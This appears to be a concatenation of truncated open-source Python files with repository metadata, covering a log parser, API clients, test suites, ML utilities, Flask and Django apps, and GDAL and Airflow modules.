] | 1,172 | 2015-01-04T21:56:16.000Z | 2022-03-13T00:01:44.000Z | dogstream/cassandra.py | fotinakis/dd-agent | b8642a36f26190b7bed3208e145bd3ac4cc4f59b | [
"BSD-3-Clause"
] | 2,086 | 2015-01-02T16:33:21.000Z | 2022-03-15T10:01:47.000Z | dogstream/cassandra.py | fotinakis/dd-agent | b8642a36f26190b7bed3208e145bd3ac4cc4f59b | [
"BSD-3-Clause"
] | 972 | 2015-01-02T05:03:46.000Z | 2022-03-23T04:36:19.000Z | # (C) Datadog, Inc. 2010-2016
# All rights reserved
# Licensed under Simplified BSD License (see LICENSE)
from datetime import datetime
import re
from dogstream import common
LOG4J_PRIORITY = [
"TRACE",
"DEBUG",
"INFO",
"WARN",
"ERROR",
"FATAL",
]
ALERT_TYPES = {
"FATAL": "error",
"E... | 26.911111 | 105 | 0.559455 |
798896b09b3f53da7cf663512c8aa34c2a972c95 | 3,349 | py | Python | classes/search.py | brandonwarech/book-tracker-capstone | d2b66db94a9be6b1577e2d8eb4b5b9d8eb87b790 | [
"Apache-2.0"
] | null | null | null | classes/search.py | brandonwarech/book-tracker-capstone | d2b66db94a9be6b1577e2d8eb4b5b9d8eb87b790 | [
"Apache-2.0"
] | null | null | null | classes/search.py | brandonwarech/book-tracker-capstone | d2b66db94a9be6b1577e2d8eb4b5b9d8eb87b790 | [
"Apache-2.0"
] | 1 | 2019-06-25T07:01:58.000Z | 2019-06-25T07:01:58.000Z | import sys
import requests
import logging
import json
# Set Logging Level
logging.basicConfig(level=logging.INFO)
# Initialize Variables / Defaults
headers = {"accept": "application/json"}
isbn_array = []
final_books_array = []
class Search:
search_url = "http://openlibrary.org/search.json?"
books_url = "htt... | 34.885417 | 149 | 0.547925 |
798896e8e71c529df7fdcadfcdcab43b6b22d467 | 6,998 | py | Python | tests/ensemble/test_averaging.py | tenajima/nyaggle | 6f64d1dd25fab5390420f876e93fda213d65ec44 | [
"MIT"
] | null | null | null | tests/ensemble/test_averaging.py | tenajima/nyaggle | 6f64d1dd25fab5390420f876e93fda213d65ec44 | [
"MIT"
] | null | null | null | tests/ensemble/test_averaging.py | tenajima/nyaggle | 6f64d1dd25fab5390420f876e93fda213d65ec44 | [
"MIT"
] | null | null | null | import numpy as np
import scipy.stats as stats
from numpy.testing import assert_array_almost_equal
from sklearn.model_selection import train_test_split
from sklearn.ensemble import RandomForestClassifier, RandomForestRegressor
from sklearn.linear_model import Ridge, LogisticRegression
from sklearn.utils.multiclass impo... | 35.704082 | 105 | 0.720634 |
79889783b6ebe2b312383d7347d6ad2954c5786c | 2,049 | py | Python | sysinv/cgts-client/cgts-client/cgtsclient/v1/storage_ceph.py | albailey/config | 40ebe63d7dfc6a0a03216ebe55ed3ec9cf5410b9 | [
"Apache-2.0"
] | 10 | 2020-02-07T18:57:44.000Z | 2021-09-11T10:29:34.000Z | sysinv/cgts-client/cgts-client/cgtsclient/v1/storage_ceph.py | albailey/config | 40ebe63d7dfc6a0a03216ebe55ed3ec9cf5410b9 | [
"Apache-2.0"
] | 1 | 2021-01-14T12:01:55.000Z | 2021-01-14T12:01:55.000Z | sysinv/cgts-client/cgts-client/cgtsclient/v1/storage_ceph.py | albailey/config | 40ebe63d7dfc6a0a03216ebe55ed3ec9cf5410b9 | [
"Apache-2.0"
] | 10 | 2020-10-13T08:37:46.000Z | 2022-02-09T00:21:25.000Z | #
# Copyright (c) 2013-2021 Wind River Systems, Inc.
#
# SPDX-License-Identifier: Apache-2.0
#
# -*- encoding: utf-8 -*-
#
from cgtsclient.common import base
from cgtsclient import exc
CREATION_ATTRIBUTES = ['confirmed', 'name', 'services', 'capabilities',
'tier_uuid', 'cinder_pool_gib', 'glan... | 32.015625 | 79 | 0.596877 |
798897e2cfb9509f6dfa15e65795a3791923ab7f | 1,896 | py | Python | runner.py | thingumajig/qa-prototype | a16216b3f37557a8efc7ad5d912d2693e9bd7b9b | [
"Unlicense"
] | 1 | 2020-04-19T13:26:31.000Z | 2020-04-19T13:26:31.000Z | runner.py | thingumajig/qa-prototype | a16216b3f37557a8efc7ad5d912d2693e9bd7b9b | [
"Unlicense"
] | null | null | null | runner.py | thingumajig/qa-prototype | a16216b3f37557a8efc7ad5d912d2693e9bd7b9b | [
"Unlicense"
] | null | null | null | # -*- coding: utf-8 -*-
# coding=utf-8
import streamlit as st
from deeppavlov import build_model, configs
from deeppavlov_utils import get_dp_model
from text_utils import get_sentences
def get_answer(long_text, question):
return get_dp_model()(long_text, question)
long_text = st.text_area('text:')
question_text = ... | 32.689655 | 84 | 0.64346 |
7988989894ac82d8b96b3bd9b730062d3ab6fe03 | 9,490 | py | Python | smarthome-web-portal/CeleryTask/managers/fetch_data.py | kyper999/SmartHome-Demo2 | 3e7e23c59c5e7c31b334dbb8eda280dc591eec44 | [
"Apache-2.0"
] | null | null | null | smarthome-web-portal/CeleryTask/managers/fetch_data.py | kyper999/SmartHome-Demo2 | 3e7e23c59c5e7c31b334dbb8eda280dc591eec44 | [
"Apache-2.0"
] | null | null | null | smarthome-web-portal/CeleryTask/managers/fetch_data.py | kyper999/SmartHome-Demo2 | 3e7e23c59c5e7c31b334dbb8eda280dc591eec44 | [
"Apache-2.0"
] | null | null | null | # -*- coding: utf-8 -*-
"""
Thread class for data processing
"""
import threading
import time
import json
from RestClient import sensor as client
from utils.util import get_class
from RestClient.api.NexmoClient import NexmoClient
from DB.api import resource
from RestClient.api.iotError import IoTConnectionError
class... | 43.136364 | 116 | 0.448788 |
798898d9513945dfbf4a58de5f17c4cc414d4fa3 | 1,440 | py | Python | app/__init__.py | silvianjoki/blog | 8b4a58f59e40363f6520824e9c31ddfd70bb9390 | [
"MIT"
] | null | null | null | app/__init__.py | silvianjoki/blog | 8b4a58f59e40363f6520824e9c31ddfd70bb9390 | [
"MIT"
] | null | null | null | app/__init__.py | silvianjoki/blog | 8b4a58f59e40363f6520824e9c31ddfd70bb9390 | [
"MIT"
] | null | null | null | from flask import Flask
import os
from flask_mail import Mail
from flask_bootstrap import Bootstrap
from config import config_options
from flask_sqlalchemy import SQLAlchemy
from flask_login import LoginManager
from flask_uploads import UploadSet,configure_uploads,IMAGES
# initializing bootstrap extension
bootstrap ... | 26.666667 | 75 | 0.740278 |
798898dfefa0eb5f79feb24175dff947a41fc8e9 | 3,775 | py | Python | src/tblo.py | Veltys/TBLO | 85a2a84b40bf0e83f4b4acc9fe467de28372a971 | [
"MIT"
] | null | null | null | src/tblo.py | Veltys/TBLO | 85a2a84b40bf0e83f4b4acc9fe467de28372a971 | [
"MIT"
] | null | null | null | src/tblo.py | Veltys/TBLO | 85a2a84b40bf0e83f4b4acc9fe467de28372a971 | [
"MIT"
] | null | null | null | from operator import attrgetter
import numpy as np
# import pprint as pp
import random as rand
class Learner(object):
def __init__(self, initialSubjects, initialFitness):
super(Learner, self).__init__()
self.subjects = initialSubjects
self.fitness = initialFitness
def __repr__(self)... | 27.962963 | 79 | 0.601589 |
7988992d40fefc4afc934a3152716336f3b21007 | 55,528 | py | Python | PyCLUE/utils/utils/classifier_utils/modeling.py | yyht/PyCLUE_albert | 71143d797e967a4215f3a8c1664b56369da4e58e | [
"MIT"
] | null | null | null | PyCLUE/utils/utils/classifier_utils/modeling.py | yyht/PyCLUE_albert | 71143d797e967a4215f3a8c1664b56369da4e58e | [
"MIT"
] | null | null | null | PyCLUE/utils/utils/classifier_utils/modeling.py | yyht/PyCLUE_albert | 71143d797e967a4215f3a8c1664b56369da4e58e | [
"MIT"
] | null | null | null | # coding=utf-8
# Copyright 2018 The Google AI Language Team Authors.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by ... | 37.518919 | 219 | 0.741428 |
798899422475e294b96c79854d55d06d3d6ce055 | 1,138 | py | Python | nipype/interfaces/semtools/diffusion/tests/test_auto_dtiaverage.py | Conxz/nipype | 1281723ae56eacd103597ff4081a205583706e62 | [
"Apache-2.0"
] | null | null | null | nipype/interfaces/semtools/diffusion/tests/test_auto_dtiaverage.py | Conxz/nipype | 1281723ae56eacd103597ff4081a205583706e62 | [
"Apache-2.0"
] | 2 | 2017-10-05T21:08:38.000Z | 2018-10-09T23:01:23.000Z | nipype/interfaces/semtools/diffusion/tests/test_auto_dtiaverage.py | Conxz/nipype | 1281723ae56eacd103597ff4081a205583706e62 | [
"Apache-2.0"
] | 1 | 2016-10-11T19:18:53.000Z | 2016-10-11T19:18:53.000Z | # AUTO-GENERATED by tools/checkspecs.py - DO NOT EDIT
from .....testing import assert_equal
from ..diffusion import dtiaverage
def test_dtiaverage_inputs():
input_map = dict(DTI_double=dict(argstr='--DTI_double ',
),
args=dict(argstr='%s',
),
environ=dict(nohash=True,
usedefault=True,
),
... | 27.095238 | 78 | 0.650264 |
79889c5cba0e6c6454f38d3836a07e52ac146569 | 56,996 | py | Python | deep_disfluency/language_model/ngram_language_model.py | Nagasaki45/deep_disfluency | 4c57a194433af9601ebef0e4c9a451cce4c06252 | [
"MIT"
] | 34 | 2019-05-07T15:19:13.000Z | 2022-02-22T08:30:11.000Z | deep_disfluency/language_model/ngram_language_model.py | Nagasaki45/deep_disfluency | 4c57a194433af9601ebef0e4c9a451cce4c06252 | [
"MIT"
] | 14 | 2017-05-18T17:18:33.000Z | 2019-02-21T15:52:15.000Z | deep_disfluency/language_model/ngram_language_model.py | Nagasaki45/deep_disfluency | 4c57a194433af9601ebef0e4c9a451cce4c06252 | [
"MIT"
] | 13 | 2017-12-02T00:54:44.000Z | 2019-04-04T03:54:21.000Z | # Ngrams models
from __future__ import division
import math
from collections import defaultdict
import cPickle
from operator import itemgetter
import numpy
from util import safe_open,flush_and_close
infinity = float('inf')
minus_infinity = - infinity
tag_separator = '_@'
log_base = 2 # for constency with nltk
## thi... | 42.725637 | 80 | 0.554513 |
79889e992e4a508a46f984630e7dece8171178d8 | 1,756 | py | Python | tests/pytests/unit/pillar/test_etcd_pillar.py | lkubb/salt | 48f8cc9dfe30b90b31050a2646bccd4b5a1b7927 | [
"Apache-2.0"
] | null | null | null | tests/pytests/unit/pillar/test_etcd_pillar.py | lkubb/salt | 48f8cc9dfe30b90b31050a2646bccd4b5a1b7927 | [
"Apache-2.0"
] | null | null | null | tests/pytests/unit/pillar/test_etcd_pillar.py | lkubb/salt | 48f8cc9dfe30b90b31050a2646bccd4b5a1b7927 | [
"Apache-2.0"
] | null | null | null | """
Test cases for salt.pillar.etcd_pillar
:codeauthor: Caleb Beard <calebb@vmware.com>
"""
import pytest
import salt.pillar.etcd_pillar as etcd_pillar
import salt.utils.etcd_util as etcd_util
from tests.support.mock import MagicMock, create_autospec, patch
@pytest.fixture
def configure_loader_modules():
... | 30.807018 | 88 | 0.665718 |
79889f851c55f415a829ce9f13218c6b84599e18 | 3,787 | py | Python | transloadit/request.py | thefhtamim/converter | 6966abb76104f5f3c9cac42c3759bb7a219c1597 | [
"MIT"
] | null | null | null | transloadit/request.py | thefhtamim/converter | 6966abb76104f5f3c9cac42c3759bb7a219c1597 | [
"MIT"
] | null | null | null | transloadit/request.py | thefhtamim/converter | 6966abb76104f5f3c9cac42c3759bb7a219c1597 | [
"MIT"
] | null | null | null | import hashlib
import hmac
import json
import copy
from datetime import datetime, timedelta
import requests
from six import b
from .response import as_response
from . import __version__
class Request(object):
"""
Transloadit tailored HTTP Request object.
:Attributes:
- transloadit (<translaodit... | 32.646552 | 108 | 0.597835 |
7988a064e9726224cf3c97c72b854087ebb9589d | 74,201 | py | Python | src/sas/sasgui/plottools/PlotPanel.py | opendatafit/sasview | c470220eecfc9f6d8a0e27e2ea8919dcb1b38e39 | [
"BSD-3-Clause"
] | null | null | null | src/sas/sasgui/plottools/PlotPanel.py | opendatafit/sasview | c470220eecfc9f6d8a0e27e2ea8919dcb1b38e39 | [
"BSD-3-Clause"
] | 1 | 2021-09-20T13:20:35.000Z | 2021-09-20T13:20:35.000Z | src/sas/sasgui/plottools/PlotPanel.py | opendatafit/sasview | c470220eecfc9f6d8a0e27e2ea8919dcb1b38e39 | [
"BSD-3-Clause"
] | null | null | null | """
Plot panel.
"""
from __future__ import print_function
import logging
import traceback
import math
import os
import operator
import copy
import wx
import numpy as np
# Try a normal import first
# If it fails, try specifying a version
import matplotlib
matplotlib.interactive(False)
#Use the WxAgg back end. The... | 36.462408 | 109 | 0.535451 |
7988a086ab00c77a9a155b9ba3611e32f0fdd731 | 1,066 | py | Python | 07-Data-Structures-Trees/54-BST-Insert-Code/src/BST-Insert.py | covuworie/data-structures-and-algorithms | beeb9686300c7498d87c201b71fa39d560b0deee | [
"MIT"
] | null | null | null | 07-Data-Structures-Trees/54-BST-Insert-Code/src/BST-Insert.py | covuworie/data-structures-and-algorithms | beeb9686300c7498d87c201b71fa39d560b0deee | [
"MIT"
] | null | null | null | 07-Data-Structures-Trees/54-BST-Insert-Code/src/BST-Insert.py | covuworie/data-structures-and-algorithms | beeb9686300c7498d87c201b71fa39d560b0deee | [
"MIT"
] | null | null | null | class Node:
def __init__(self, value: int) -> None:
self.value = value
self.left = None
self.right = None
class BinarySearchTree:
def __init__(self) -> None:
self.root = None
def insert(self, value: int) -> bool:
new_node = Node(value)
if self.root ... | 24.790698 | 44 | 0.509381 |
7988a0bc4401e57567168936c615a383acf63cb2 | 4,548 | py | Python | UAA-turbine.py | jsdelivrbot/atomic-turbine | 9517f0b72574b94e97de09b82f7e2fc6c8ff29dd | [
"MIT"
] | null | null | null | UAA-turbine.py | jsdelivrbot/atomic-turbine | 9517f0b72574b94e97de09b82f7e2fc6c8ff29dd | [
"MIT"
] | null | null | null | UAA-turbine.py | jsdelivrbot/atomic-turbine | 9517f0b72574b94e97de09b82f7e2fc6c8ff29dd | [
"MIT"
] | 1 | 2018-12-08T06:57:22.000Z | 2018-12-08T06:57:22.000Z | import requests
import json
import os
import websocket
import time
import urllib2
#import psycopg2
def get_uaa_header():
return 'Bearer ' + access_token
#url = os.environ['UAA_URI']
url = 'https://ff2359d6-05b4-4a0f-9001-2533c77cfe9d.predix-uaa.run.aws-usw02-pr.ice.predix.io/oauth/token'
payload = "grant_ty... | 33.940299 | 213 | 0.612797 |
7988a30e38f68671060abf8553812338dd3ea083 | 3,153 | py | Python | ODIN_II/usefull_tools/restore_blackboxed_latches_from_blif_file.py | HackerFoo/vtr-verilog-to-routing | 9bf3c1004e8a7c9f3756167905fd2e71218158d0 | [
"MIT"
] | 1 | 2020-08-15T03:04:32.000Z | 2020-08-15T03:04:32.000Z | ODIN_II/usefull_tools/restore_blackboxed_latches_from_blif_file.py | HackerFoo/vtr-verilog-to-routing | 9bf3c1004e8a7c9f3756167905fd2e71218158d0 | [
"MIT"
] | 12 | 2015-06-26T19:47:14.000Z | 2015-07-06T17:29:29.000Z | ODIN_II/usefull_tools/restore_blackboxed_latches_from_blif_file.py | HackerFoo/vtr-verilog-to-routing | 9bf3c1004e8a7c9f3756167905fd2e71218158d0 | [
"MIT"
] | 1 | 2020-08-15T03:04:34.000Z | 2020-08-15T03:04:34.000Z | #!/usr/bin/env python
import argparse
import subprocess
import fileinput
import sys
import os
import re
import shutil
from collections import OrderedDict
def parse_args():
global parser
parser = argparse.ArgumentParser(description="Restore Vanilla Latches to a Passed in BLIF File by replacing the BlackBoxed L... | 33.903226 | 147 | 0.619727 |
7988a322eff1566b0dba99d45eeb0a584d0ed402 | 10,921 | py | Python | autotest/ogr/ogr_pcidsk.py | tbonfort/gdal | 173e0659bc3f2e6b97c2c07332a3066478afb821 | [
"MIT"
] | 1 | 2015-04-21T19:52:03.000Z | 2015-04-21T19:52:03.000Z | autotest/ogr/ogr_pcidsk.py | tbonfort/gdal | 173e0659bc3f2e6b97c2c07332a3066478afb821 | [
"MIT"
] | 7 | 2018-04-09T09:35:42.000Z | 2018-05-22T06:54:05.000Z | autotest/ogr/ogr_pcidsk.py | pramsey/gdal | 965421b79fe4d3332b0f2f633b072fdcab2b700a | [
"MIT"
] | 2 | 2018-05-08T01:51:34.000Z | 2019-06-26T05:08:56.000Z | #!/usr/bin/env python
###############################################################################
# $Id$
#
# Project: GDAL/OGR Test Suite
# Purpose: Test PCIDSK driver functionality.
# Author: Even Rouault <even dot rouault at mines dash paris dot org>
#
#########################################################... | 30.420613 | 507 | 0.586851 |
7988a3ac2be71d39f4bdf550d2eedf193e471865 | 918 | py | Python | accounts/migrations/0003_auto_20211030_1710.py | sajib-w3b-d3v/PACS_HIS_RIS | 4ced716734cc6704d4fdd0818c78ea540ab87085 | [
"MIT"
] | null | null | null | accounts/migrations/0003_auto_20211030_1710.py | sajib-w3b-d3v/PACS_HIS_RIS | 4ced716734cc6704d4fdd0818c78ea540ab87085 | [
"MIT"
] | null | null | null | accounts/migrations/0003_auto_20211030_1710.py | sajib-w3b-d3v/PACS_HIS_RIS | 4ced716734cc6704d4fdd0818c78ea540ab87085 | [
"MIT"
] | null | null | null | # Generated by Django 3.2.8 on 2021-10-30 11:10
from django.db import migrations, models
class Migration(migrations.Migration):
dependencies = [
('accounts', '0002_auto_20211030_1208'),
]
operations = [
migrations.AlterField(
model_name='user',
name='first_name',... | 27 | 87 | 0.569717 |
7988a3b92bf0139b382e43acc534664ca5bb261e | 63,032 | py | Python | tensorflow/contrib/kfac/python/ops/fisher_factors.py | keedio/tensorflow | 8a428cdd350a56b9f7de2ed55b3fbe7b6ad6b257 | [
"Apache-2.0"
] | 2 | 2020-06-28T01:29:29.000Z | 2020-10-12T10:58:12.000Z | tensorflow/contrib/kfac/python/ops/fisher_factors.py | keedio/tensorflow | 8a428cdd350a56b9f7de2ed55b3fbe7b6ad6b257 | [
"Apache-2.0"
] | null | null | null | tensorflow/contrib/kfac/python/ops/fisher_factors.py | keedio/tensorflow | 8a428cdd350a56b9f7de2ed55b3fbe7b6ad6b257 | [
"Apache-2.0"
] | 1 | 2021-04-20T06:18:29.000Z | 2021-04-20T06:18:29.000Z | # Copyright 2017 The TensorFlow Authors. All Rights Reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applica... | 36.038879 | 105 | 0.6992 |
7988a402e9918f6e52ad25b9d3839aa9f20dd752 | 514 | py | Python | Hackerrank/Python/07 - Collections/02 - defaultdict Tutorial.py | Next-Gen-UI/Code-Dynamics | a9b9d5e3f27e870b3e030c75a1060d88292de01c | [
"MIT"
] | null | null | null | Hackerrank/Python/07 - Collections/02 - defaultdict Tutorial.py | Next-Gen-UI/Code-Dynamics | a9b9d5e3f27e870b3e030c75a1060d88292de01c | [
"MIT"
] | null | null | null | Hackerrank/Python/07 - Collections/02 - defaultdict Tutorial.py | Next-Gen-UI/Code-Dynamics | a9b9d5e3f27e870b3e030c75a1060d88292de01c | [
"MIT"
] | null | null | null | # ========================
# Information
# ========================
# Direct Link: https://www.hackerrank.com/challenges/defaultdict-tutorial/problem
# Difficulty: Easy
# Max Score: 20
# Language: Python
# ========================
# Solution
# ========================
from collections impo... | 22.347826 | 82 | 0.486381 |
7988a42efa72debfff38fd42313a9eca37557cd9 | 866 | py | Python | mundo_1/desafios/desafio_023.py | lvfds/Curso_Python3 | 1afb7706553a1d21d3d97e061144c5f019ca9391 | [
"MIT"
] | null | null | null | mundo_1/desafios/desafio_023.py | lvfds/Curso_Python3 | 1afb7706553a1d21d3d97e061144c5f019ca9391 | [
"MIT"
] | null | null | null | mundo_1/desafios/desafio_023.py | lvfds/Curso_Python3 | 1afb7706553a1d21d3d97e061144c5f019ca9391 | [
"MIT"
] | null | null | null | """
Faça um programa que leia um número de 0 a 9999 e mostre na tela cada um dos digitos separados.
Ex:
Digite um número: 1834
unidade: 4
dezena: 3
centena: 8
milhar: 1
"""
numero_digitado = input('Digite um número: ')
if len(numero_digitado) == 1:
print(f'Unidade: {numero_digitado[0... | 28.866667 | 100 | 0.620092 |
7988a4ab0009a2a0966561bdd26f223be1f70941 | 397 | py | Python | python/testData/regexp/lookbehind.py | jnthn/intellij-community | 8fa7c8a3ace62400c838e0d5926a7be106aa8557 | [
"Apache-2.0"
] | 2 | 2018-12-29T09:53:39.000Z | 2018-12-29T09:53:42.000Z | python/testData/regexp/lookbehind.py | Cyril-lamirand/intellij-community | 60ab6c61b82fc761dd68363eca7d9d69663cfa39 | [
"Apache-2.0"
] | 173 | 2018-07-05T13:59:39.000Z | 2018-08-09T01:12:03.000Z | python/testData/regexp/lookbehind.py | Cyril-lamirand/intellij-community | 60ab6c61b82fc761dd68363eca7d9d69663cfa39 | [
"Apache-2.0"
] | 2 | 2020-03-15T08:57:37.000Z | 2020-04-07T04:48:14.000Z | import re
re.compile(r"(?<!a|b)");
re.compile(r"(?<!<error descr="Alternation alternatives needs to have the same length inside lookbehind">a|bc</error>)");
re.compile(r"(?<!a{3}})");
re.compile(r"(?<!a<weak_warning descr="Fixed repetition range">{3,3}</weak_warning>})");
re.compile(r"(?<!a<error descr="Unequal min an... | 56.714286 | 123 | 0.690176 |
7988a4cd5abda0c75851ed39e9c7c9d076399742 | 26,415 | py | Python | autotest/ogr/ogr_pds4.py | jpapadakis/gdal | f07aa15fd65af36b04291303cc6834c87f662814 | [
"MIT"
] | 18 | 2021-01-27T00:07:35.000Z | 2022-03-25T22:20:13.000Z | autotest/ogr/ogr_pds4.py | jpapadakis/gdal | f07aa15fd65af36b04291303cc6834c87f662814 | [
"MIT"
] | 4 | 2019-07-18T15:49:23.000Z | 2021-10-19T22:56:50.000Z | autotest/ogr/ogr_pds4.py | jpapadakis/gdal | f07aa15fd65af36b04291303cc6834c87f662814 | [
"MIT"
] | 2 | 2019-12-20T07:43:13.000Z | 2021-04-16T22:45:29.000Z | #!/usr/bin/env pytest
###############################################################################
# $Id$
#
# Project: GDAL/OGR Test Suite
# Purpose: Test PDS4 format
# Author: Even Rouault, <even.rouault at spatialys.com>
#
###############################################################################
# Copyri... | 37.415014 | 538 | 0.622298 |
7988a5bf8f4c7e4958c6d170ef22d9dba7841322 | 331 | py | Python | statistics/combinatorics/calc_mean.py | terasakisatoshi/pythonCodes | baee095ecee96f6b5ec6431267cdc6c40512a542 | [
"MIT"
] | null | null | null | statistics/combinatorics/calc_mean.py | terasakisatoshi/pythonCodes | baee095ecee96f6b5ec6431267cdc6c40512a542 | [
"MIT"
] | null | null | null | statistics/combinatorics/calc_mean.py | terasakisatoshi/pythonCodes | baee095ecee96f6b5ec6431267cdc6c40512a542 | [
"MIT"
] | null | null | null | """
Calculating the mean
"""
def calculate_mean(numbers):
s=sum(numbers)
N=len(numbers)
mean=s/N
return mean
def main():
donations=[100,60,70,900,100,200,500,500,503,600,1000,1200]
mean=calculate_mean(donations)
N=len(donations)
print("Mean donation over the last {0} days is {1}".forma... | 20.6875 | 71 | 0.661631 |
7988a648901899936bb823dba9802df2b45750dd | 8,467 | py | Python | homeassistant/components/cloud/google_config.py | gregsheremeta/core | 8e39ba387d0fcbd8462fff76da4d64890bc4ec57 | [
"Apache-2.0"
] | 3 | 2020-11-27T06:26:27.000Z | 2020-12-09T14:55:16.000Z | homeassistant/components/cloud/google_config.py | gregsheremeta/core | 8e39ba387d0fcbd8462fff76da4d64890bc4ec57 | [
"Apache-2.0"
] | 25 | 2021-11-24T06:24:10.000Z | 2022-03-31T06:23:06.000Z | homeassistant/components/cloud/google_config.py | AjayShanker-geek/core | 2242b023d383c5e8debfa813abe0871de4d30b06 | [
"Apache-2.0"
] | 1 | 2020-12-09T14:55:21.000Z | 2020-12-09T14:55:21.000Z | """Google config for Cloud."""
import asyncio
from http import HTTPStatus
import logging
from hass_nabucasa import Cloud, cloud_api
from hass_nabucasa.google_report_state import ErrorResponse
from homeassistant.components.google_assistant.const import DOMAIN as GOOGLE_DOMAIN
from homeassistant.components.google_assis... | 35.725738 | 103 | 0.674265 |
7988a71a167888192eeee4a1ad29902ef688e818 | 27,469 | py | Python | steam/protobufs/steammessages_parties_pb2.py | tjensen/steam | 061ca33842c9ec5aa7c0866d20cbeed0759d5ea5 | [
"MIT"
] | 727 | 2015-07-13T20:32:55.000Z | 2022-03-31T11:55:34.000Z | steam/protobufs/steammessages_parties_pb2.py | tjensen/steam | 061ca33842c9ec5aa7c0866d20cbeed0759d5ea5 | [
"MIT"
] | 335 | 2015-07-22T12:28:35.000Z | 2022-02-24T11:53:12.000Z | steam/protobufs/steammessages_parties_pb2.py | tjensen/steam | 061ca33842c9ec5aa7c0866d20cbeed0759d5ea5 | [
"MIT"
] | 155 | 2015-07-22T08:53:19.000Z | 2022-03-30T10:59:22.000Z | # -*- coding: utf-8 -*-
# Generated by the protocol buffer compiler. DO NOT EDIT!
# source: steammessages_parties.proto
import sys
_b=sys.version_info[0]<3 and (lambda x:x) or (lambda x:x.encode('latin1'))
from google.protobuf import descriptor as _descriptor
from google.protobuf import message as _message
from googl... | 39.523741 | 2,856 | 0.7819 |
7988a98bb1e43739202a1cbc1f2b6094b58029d7 | 3,407 | py | Python | 1021/tspomp/levinson_durbin.py | Kurogi-Lab/CAN2 | abd029895f2ff9d1c8debdb3825b0d4b9314d136 | [
"CECILL-B"
] | null | null | null | 1021/tspomp/levinson_durbin.py | Kurogi-Lab/CAN2 | abd029895f2ff9d1c8debdb3825b0d4b9314d136 | [
"CECILL-B"
] | null | null | null | 1021/tspomp/levinson_durbin.py | Kurogi-Lab/CAN2 | abd029895f2ff9d1c8debdb3825b0d4b9314d136 | [
"CECILL-B"
] | 1 | 2020-12-01T00:54:18.000Z | 2020-12-01T00:54:18.000Z | #coding:utf-8
#https://aidiary.hatenablog.com/entry/20120415/1334458954
import numpy as np
from pylab import *
import pandas as pd #for pandas see http://keisanbutsuriya.hateblo.jp/entry/201\
import argparse
import subprocess
def myshell(cmd): #no stop even when error occured
try:
retcode=subprocess.Popen(cmd, s... | 27.039683 | 115 | 0.576754 |
7988a9ef117d8263138bec6aba502254d3f79c43 | 9,492 | py | Python | nipyapi/nifi/models/registry_client_entity.py | oneextrafact/nipyapi | 4c184d69002a8ee3ac528fda63b2ffcc6cedbae5 | [
"Apache-2.0"
] | null | null | null | nipyapi/nifi/models/registry_client_entity.py | oneextrafact/nipyapi | 4c184d69002a8ee3ac528fda63b2ffcc6cedbae5 | [
"Apache-2.0"
] | null | null | null | nipyapi/nifi/models/registry_client_entity.py | oneextrafact/nipyapi | 4c184d69002a8ee3ac528fda63b2ffcc6cedbae5 | [
"Apache-2.0"
] | null | null | null | # coding: utf-8
"""
NiFi Rest Api
The Rest Api provides programmatic access to command and control a NiFi instance in real time. Start and stop processors, monitor queues, query provenance data, and more. Each endpoint below includes a description, ... | 29.6625 | 479 | 0.602823 |
7988aa52ce9a4c5523bbbe226e12563ccf52422c | 90,680 | py | Python | airflow/providers/google/cloud/operators/dataproc.py | bingqinzhou/airflow | dc0d0b31fc659a674851fd14735e1c91cf7de557 | [
"Apache-2.0",
"BSD-2-Clause",
"MIT",
"ECL-2.0",
"BSD-3-Clause"
] | 3 | 2021-06-26T13:42:13.000Z | 2021-08-03T13:51:36.000Z | airflow/providers/google/cloud/operators/dataproc.py | bingqinzhou/airflow | dc0d0b31fc659a674851fd14735e1c91cf7de557 | [
"Apache-2.0",
"BSD-2-Clause",
"MIT",
"ECL-2.0",
"BSD-3-Clause"
] | 22 | 2020-12-13T07:33:35.000Z | 2022-02-27T17:55:01.000Z | airflow/providers/google/cloud/operators/dataproc.py | bingqinzhou/airflow | dc0d0b31fc659a674851fd14735e1c91cf7de557 | [
"Apache-2.0",
"BSD-2-Clause",
"MIT",
"ECL-2.0",
"BSD-3-Clause"
] | 1 | 2021-08-28T09:47:31.000Z | 2021-08-28T09:47:31.000Z | #
# Licensed to the Apache Software Foundation (ASF) under one
# or more contributor license agreements. See the NOTICE file
# distributed with this work for additional information
# regarding copyright ownership. The ASF licenses this file
# to you under the Apache License, Version 2.0 (the
# "License"); you may not... | 41.884527 | 122 | 0.654929 |
7988ab4431d4e44c9d792a0becece58c29c7607e | 2,865 | py | Python | test/swig/Flatten.py | k4rth33k/dnnc-operators | a7fe3f1240c12b3438558def71fbfcd4520446c3 | [
"Apache-2.0"
] | 5 | 2019-08-16T14:35:17.000Z | 2020-07-11T23:59:22.000Z | test/swig/Flatten.py | k4rth33k/dnnc-operators | a7fe3f1240c12b3438558def71fbfcd4520446c3 | [
"Apache-2.0"
] | 6 | 2019-08-12T04:38:14.000Z | 2019-09-04T16:32:13.000Z | test/swig/Flatten.py | k4rth33k/dnnc-operators | a7fe3f1240c12b3438558def71fbfcd4520446c3 | [
"Apache-2.0"
] | 7 | 2019-08-15T13:29:00.000Z | 2019-09-09T17:08:04.000Z | # Licensed to the Apache Software Foundation (ASF) under one
# or more contributor license agreements. See the NOTICE file
# distributed with this work for additional information
# regarding copyright ownership. The ASF licenses this file
# to you under the Apache License, Version 2.0 (the
# "License") you may not us... | 34.518072 | 90 | 0.647469 |
7988ab5f3af208207bddff2a9a457b3da0c15e9d | 2,485 | py | Python | examples/adwords/v201603/advanced_operations/add_ad_group_bid_modifier.py | fosterwei/adwords-keyword-planner-API-googleads-python-lib | b80b8b3741a55f1d00c5974bc58f92540663c6f6 | [
"Apache-2.0"
] | 1 | 2020-05-23T11:32:32.000Z | 2020-05-23T11:32:32.000Z | examples/adwords/v201603/advanced_operations/add_ad_group_bid_modifier.py | fosterwei/adwords-keyword-planner-API-googleads-python-lib | b80b8b3741a55f1d00c5974bc58f92540663c6f6 | [
"Apache-2.0"
] | null | null | null | examples/adwords/v201603/advanced_operations/add_ad_group_bid_modifier.py | fosterwei/adwords-keyword-planner-API-googleads-python-lib | b80b8b3741a55f1d00c5974bc58f92540663c6f6 | [
"Apache-2.0"
